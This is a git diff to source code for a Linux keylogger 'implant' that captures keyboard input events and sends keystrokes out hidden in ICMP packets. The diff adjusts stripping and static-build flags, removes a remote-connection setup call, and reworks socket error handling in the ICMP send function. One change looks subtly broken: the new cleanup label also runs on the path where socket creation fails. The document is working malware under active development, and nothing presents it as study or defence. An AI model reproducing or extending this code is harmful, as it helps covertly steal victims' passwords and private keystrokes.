diff --git a/implant/Makefile b/implant/Makefile
@@ -18,7 +18,7 @@ else
CFLAGS += -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
CFLAGS += -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
CFLAGS += -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
- CFLAGS += -Wno-unsafe-buffer-usage -static
+ CFLAGS += -static -Wno-visibility
endif
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -19,11 +19,6 @@ int main(int ac, char **av, char **envp) {
#endif
fetch_available_keyboards(&instance);
-
- int sockfd = init_remote_connection(&instance);
- if (sockfd < 0)
- return 1;
-
keylog(&instance);
return 0;
}
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -6,6 +6,7 @@
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <stdio.h>
+#include <unistd.h>
#include "implant.h"
/* Layout of the DATA packet is following
@@ -13,7 +14,7 @@
*/
int send_key_icmp(implant_t *implant, struct input_event event) {
- uint8_t payload[sizeof(struct input_event) + 32] = {0};
+ char payload[sizeof(struct input_event) + 32] = {0};
/* for the userland implant, we will always assume the locale is
* US, because I haven't yet found a way to hook evdev driver from here
@@ -37,6 +38,8 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
perror("socket");
#endif
+cleanup_error:
+ close(sockfd);
return ERROR;
}
@@ -50,7 +53,7 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
perror("setsockopt");
#endif
- return ERROR;
+ goto cleanup_error;
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
@@ -62,7 +65,7 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
perror("setsockopt");
#endif
- return ERROR;
+ goto cleanup_error;
}
/* set packet metadata */
| | |